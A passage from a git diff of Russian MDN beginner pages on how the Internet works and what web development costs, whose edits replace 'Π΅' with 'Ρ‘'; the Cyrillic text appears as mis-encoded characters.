Π’Π΅Π»Π΅Ρ„ΠΎΠ½Π½Ρ‹ΠΉ ΠΏΡ€ΠΎΠ²ΠΎΠ΄ ΡƒΠΆΠ΅ ΡΠΎΠ΅Π΄ΠΈΠ½ΡΠ΅Ρ‚Β Π²Π°Ρˆ Π΄ΠΎΠΌ со всСм ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹ΠΌ ΠΌΠΈΡ€ΠΎΠΌ, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΎΠ½ идСально ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ нашСй Π·Π°Π΄Π°Ρ‡ΠΈ. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π½Π°ΡˆΡƒ ΡΠ΅Ρ‚ΡŒ ΠΊ глобальной сСти с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ²ΠΎΠ΄Π°, Π½Π°ΠΌ понадобится ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ΅ ΠΎΠ±ΠΎΡ€ΡƒΠ΄ΠΎΠ²Π°Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ называСтся <em>ΠΌΠΎΠ΄Π΅ΠΌ</em>. МодСм ΠΏΠ΅Ρ€Π΅ΠΊΠΎΠ΄ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, ΠΏΠΎΡΡ‚ΡƒΠΏΠ°ΡŽΡ‰ΡƒΡŽ ΠΈΠ· нашСй сСти Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ Ρ‡Π΅Ρ€Π΅Π· Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π½ΡƒΡŽ ΡΠ΅Ρ‚ΡŒ, ΠΈΒ Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚, Π΄Π΅ΠΊΠΎΠ΄ΠΈΡ€ΡƒΡŽΡ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΈΠ· Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π½ΠΎΠΉ сСти Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π°ΡΠΏΠΎΠ·Π½Π°ΡŽΡ‚ наши ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρ‹.</p>
<p><img alt="A router linked to a modem" src="https://mdn.mozillademos.org/files/8451/internet-schema-6.png" style="height: 340px; width: 600px;"></p>
@@ -84,7 +84,7 @@ original_slug: Learn/How_the_Internet_works
<h3 id="Поиск_ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π°">Поиск ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π°</h3>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΠ»Π°Ρ‚ΡŒ сообщСниС ΠΊΠ°ΠΊΠΎΠΌΡƒ-Ρ‚ΠΎ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρƒ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΊΠ°ΠΊ-Ρ‚ΠΎ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ ΠΊ Π½Π΅ΠΌΡƒ, Π²Ρ‹Π΄Π΅Π»ΠΈΡ‚ΡŒ срСди Π΄Ρ€ΡƒΠ³ΠΈΡ…. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΉ ΠΊ сСти, ΠΈΠΌΠ΅Π΅Ρ‚ свой ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ адрСс для связи: этот адрСс Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ IP-адрСсом (IP β€” сокращСниС для <em>Internet Protocol</em>, ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π°). Π’ зависимости ΠΎΡ‚ вСрсии ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° IP этот адрСс ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒΡΡ ΠΏΠΎ-Ρ€Π°Π·Π½ΠΎΠΌΡƒ. Бамая ΡˆΠΈΡ€ΠΎΠΊΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠ°Ρ вСрсия ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° β€” вСрсия 4. АдрСса IPv4 ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π·Π°ΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ΡΡ Π² Π²ΠΈΠ΄Π΅ Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… чисСл, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€: 192.168.2.10.</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΠ»Π°Ρ‚ΡŒ сообщСниС ΠΊΠ°ΠΊΠΎΠΌΡƒ-Ρ‚ΠΎ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρƒ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΊΠ°ΠΊ-Ρ‚ΠΎ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ ΠΊ Π½Π΅ΠΌΡƒ, Π²Ρ‹Π΄Π΅Π»ΠΈΡ‚ΡŒ срСди Π΄Ρ€ΡƒΠ³ΠΈΡ…. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΉ ΠΊ сСти, ΠΈΠΌΠ΅Π΅Ρ‚ свой ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ адрСс для связи: этот адрСс Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ IP-адрСсом (IP β€” сокращСниС для <em>Internet Protocol</em>, ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π°). Π’ зависимости ΠΎΡ‚ вСрсии ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° IP этот адрСс ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒΡΡ ΠΏΠΎ-Ρ€Π°Π·Π½ΠΎΠΌΡƒ. Бамая ΡˆΠΈΡ€ΠΎΠΊΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠ°Ρ вСрсия ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° β€” вСрсия 4. АдрСса IPv4 ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π·Π°ΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ΡΡ Π² Π²ΠΈΠ΄Π΅ Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… чисСл, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€: 192.168.2.10.</p>
<p>Π’Π°ΠΊΠΈΠ΅ адрСса ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎ подходят для ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ΠΎΠ², Π½ΠΎ людям ΠΎΡ‡Π΅Π½ΡŒ слоТно ΠΈΡ… Π·Π°ΠΏΠΎΠΌΠΈΠ½Π°Ρ‚ΡŒ. Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΏΡ€ΠΎΡΡ‚ΠΈΡ‚ΡŒ сСбС Тизнь, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡ€ΠΈΡΠ²ΠΎΠΈΡ‚ΡŒ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ IP-адрСсу псСвдоним с понятным для Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΠ° ΠΈΠΌΠ΅Π½Π΅ΠΌ. Π’Π°ΠΊΠΎΠΉ псСвдоним Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ Π΄ΠΎΠΌΠ΅Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ. НапримСр, google.com β€” Π΄ΠΎΠΌΠ΅Π½Π½ΠΎΠ΅ имя, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ являСтся псСвдонимом IP-адрСса 173.194.121.32. ИспользованиС Π΄ΠΎΠΌΠ΅Π½Π½ΠΎΠ³ΠΎ ΠΈΠΌΠ΅Π½ΠΈ β€” самый простой способ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ ΠΊ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρƒ Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅.</p>
diff --git a/files/ru/learn/common_questions/how_much_does_it_cost/index.html b/files/ru/learn/common_questions/how_much_does_it_cost/index.html
index b830480208..ccd18619af 100644
--- a/files/ru/learn/common_questions/how_much_does_it_cost/index.html
+++ b/files/ru/learn/common_questions/how_much_does_it_cost/index.html
@@ -1,5 +1,5 @@
---
-title: Насколько Π΄ΠΎΡ€ΠΎΠ³ΠΎ обойдСтся ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Web?
+title: Насколько Π΄ΠΎΡ€ΠΎΠ³ΠΎ обойдётся ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Web?
slug: Learn/Common_questions/How_much_does_it_cost
tags:
- Π₯остинг
@@ -8,7 +8,7 @@ tags:
translation_of: Learn/Common_questions/How_much_does_it_cost
---
<div class="summary">
-<p>Π’Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° обходится Π½Π΅ Ρ‚Π°ΠΊ дСшСво, ΠΊΠ°ΠΊ Π²Π°ΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ обсудим, ΠΊΠ°ΠΊ ΠΌΠ½ΠΎΠ³ΠΎ Π²Π°ΠΌ потрСбуСтся ΠΏΠΎΡ‚Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ ΠΈ ΠΏΠΎΡ‡Π΅ΠΌΡƒ.</p>
+<p>Π’Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° обходится Π½Π΅ Ρ‚Π°ΠΊ Π΄Ρ‘ΡˆΠ΅Π²ΠΎ, ΠΊΠ°ΠΊ Π²Π°ΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ обсудим, ΠΊΠ°ΠΊ ΠΌΠ½ΠΎΠ³ΠΎ Π²Π°ΠΌ потрСбуСтся ΠΏΠΎΡ‚Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ ΠΈ ΠΏΠΎΡ‡Π΅ΠΌΡƒ.</p>
</div>
<table class="learn-box standard-table">
@@ -38,7 +38,7 @@ translation_of: Learn/Common_questions/How_much_does_it_cost
<p>Для Π½Π°Ρ‡Π°Π»Π°, ΠΌΡ‹ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅ΠΌ Π²Π°ΠΌ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ нСсколько Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ΠΎΠ², Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ½ΡΡ‚ΡŒ, ΠΊΠ°ΠΊΠΎΠΉ ΠΈΠ· Π½ΠΈΡ… ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ Π»ΡƒΡ‡ΡˆΠ΅ Π²Π°ΠΌ. Если Π²Ρ‹ ΠΏΠΈΡˆΠΈΡ‚Π΅ лишь простыС {{Glossary("HTML")}}, {{Glossary("CSS")}}, and {{Glossary("Javascript")}}, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ простой Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€.</p>
-<p>Π¦Π΅Π½Π° Π½Π΅ влияСт Π½Π° качСство ΠΈΠ»ΠΈ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΡΡ‚ΡŒ тСкстового Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Π°. Π’Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ Ρ€Π΅ΡˆΠΈΡ‚ΡŒ ΠΊΠ°ΠΊΠΎΠΉ ΠΈΠ· Π½ΠΈΡ… ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚ вашим потрСбностям. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, Sublime Text Π΄Π΅ΡˆΠ΅Π²Ρ‹ΠΉ, Π½ΠΎ поставляСтся с мноТСством бСсплатных ΠΏΠ»Π°Π³ΠΈΠ½ΠΎΠ² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π·Π΄ΠΎΡ€ΠΎΠ²ΠΎ Ρ€Π°ΡΡˆΠΈΡ€ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ.</p>
+<p>Π¦Π΅Π½Π° Π½Π΅ влияСт Π½Π° качСство ΠΈΠ»ΠΈ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΡΡ‚ΡŒ тСкстового Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Π°. Π’Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ Ρ€Π΅ΡˆΠΈΡ‚ΡŒ ΠΊΠ°ΠΊΠΎΠΉ ΠΈΠ· Π½ΠΈΡ… ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚ вашим потрСбностям. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, Sublime Text Π΄Π΅ΡˆΡ‘Π²Ρ‹ΠΉ, Π½ΠΎ поставляСтся с мноТСством бСсплатных ΠΏΠ»Π°Π³ΠΈΠ½ΠΎΠ² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π·Π΄ΠΎΡ€ΠΎΠ²ΠΎ Ρ€Π°ΡΡˆΠΈΡ€ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ.</p>
<h3 id="Π Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Ρ‹_ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ">Π Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Ρ‹ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ</h3>
@@ -46,7 +46,7 @@ translation_of: Learn/Common_questions/How_much_does_it_cost
<p>Π Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ бСсплатными (<a href="http://www.gimp.org/">GIMP</a>, <a href="https://www.getpaint.net/">Paint.NET</a>), ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π½Π΅Π΄ΠΎΡ€ΠΎΠ³ΠΈΠΌΠΈ (<a href="http://www.paintshoppro.com/">PaintShop Pro</a>, мСньшС Ρ‡Π΅ΠΌ $100), ΠΈΠ»ΠΈ ΠΈΠΌΠ΅Ρ‚ΡŒ ΡΡ‚ΠΎΠΈΠΌΠΎΡΡ‚ΡŒ Π² ΠΏΠ°Ρ€Ρƒ сотСн Π΄ΠΎΠ»Π»Π°Ρ€ΠΎΠ² (<a href="https://www.adobe.com/products/photoshop.html">Adobe Photoshop</a>).</p>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ любой ΠΈΠ· Π½ΠΈΡ…, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΏΠΎΡ…ΠΎΠΆΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, хотя Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π½ΠΈΡ… Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ Π²ΡΠ΅ΠΎΠ±ΡŠΠ΅ΠΌΠ»ΡŽΡ‰ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ смоТСтС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ вСсь ΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π». Если Π² ΠΊΠ°ΠΊΠΎΠΉ Ρ‚ΠΎ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΎΠ±ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°ΠΌΠΈ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Π΄ΠΈΠ·Π°ΠΉΠ½Π΅Ρ€Π°ΠΌΠΈ, Ρ‚ΠΎ Π²Π°ΠΌ слСдуСт Π²Ρ‹ΡΡΠ½ΠΈΡ‚ΡŒ, ΠΊΠ°ΠΊΠΈΠ΅ инструмСнты ΠΎΠ½ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚. Π Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΊΡΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π·Π°ΠΊΠΎΠ½Ρ‡Π΅Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Ρ‹ Π² стандартныС Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹, Π½ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ сохраняСт Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠ΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Ρ‹ Π² своСм собствСнном, спСциализированном Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅. Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅ Π·Π°Ρ‰ΠΈΡ‰Π΅Π½Ρ‹ авторским ΠΏΡ€Π°Π²ΠΎΠΌ, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π»ΡƒΡ‡ΡˆΠ΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ Π»ΠΈΡ†Π΅Π½Π·ΠΈΡŽ Ρ„Π°ΠΉΠ»Π°, ΠΏΠ΅Ρ€Π΅Π΄ Π΅Π³ΠΎ использованиСм. Π’Π°ΠΊΠΈΠ΅ сайты, ΠΊΠ°ΠΊ <a href="https://pixabay.com/">Pixabay</a>, ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ изобраТСния ΠΏΠΎΠ΄ Π»ΠΈΡ†Π΅Π½Π·ΠΈΠ΅ΠΉ Creative Commons Zero, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, ΠΈ Π΄Π°ΠΆΠ΅ ΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… послС измСнСния, Ρ€Π°Π΄ΠΈ коммСрчСской Π²Ρ‹Π³ΠΎΠ΄Ρ‹.</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ любой ΠΈΠ· Π½ΠΈΡ…, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΏΠΎΡ…ΠΎΠΆΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, хотя Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π½ΠΈΡ… Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ Π²ΡΠ΅ΠΎΠ±ΡŠΠ΅ΠΌΠ»ΡŽΡ‰ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ смоТСтС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ вСсь ΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π». Если Π² ΠΊΠ°ΠΊΠΎΠΉ Ρ‚ΠΎ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΎΠ±ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°ΠΌΠΈ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Π΄ΠΈΠ·Π°ΠΉΠ½Π΅Ρ€Π°ΠΌΠΈ, Ρ‚ΠΎ Π²Π°ΠΌ слСдуСт Π²Ρ‹ΡΡΠ½ΠΈΡ‚ΡŒ, ΠΊΠ°ΠΊΠΈΠ΅ инструмСнты ΠΎΠ½ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚. Π Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΊΡΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π·Π°ΠΊΠΎΠ½Ρ‡Π΅Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Ρ‹ Π² стандартныС Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹, Π½ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ сохраняСт Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠ΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Ρ‹ Π² своём собствСнном, спСциализированном Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅. Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅ Π·Π°Ρ‰ΠΈΡ‰Π΅Π½Ρ‹ авторским ΠΏΡ€Π°Π²ΠΎΠΌ, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π»ΡƒΡ‡ΡˆΠ΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ Π»ΠΈΡ†Π΅Π½Π·ΠΈΡŽ Ρ„Π°ΠΉΠ»Π°, ΠΏΠ΅Ρ€Π΅Π΄ Π΅Π³ΠΎ использованиСм. Π’Π°ΠΊΠΈΠ΅ сайты, ΠΊΠ°ΠΊ <a href="https://pixabay.com/">Pixabay</a>, ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ изобраТСния ΠΏΠΎΠ΄ Π»ΠΈΡ†Π΅Π½Π·ΠΈΠ΅ΠΉ Creative Commons Zero, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, ΠΈ Π΄Π°ΠΆΠ΅ ΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… послС измСнСния, Ρ€Π°Π΄ΠΈ коммСрчСской Π²Ρ‹Π³ΠΎΠ΄Ρ‹.</p>
<h3 id="МСдиа_Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Ρ‹">МСдиа Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Ρ‹</h3>
@@ -56,9 +56,9 @@ translation_of: Learn/Common_questions/How_much_does_it_cost
<h3 id="Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚Ρ‹_ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h3>
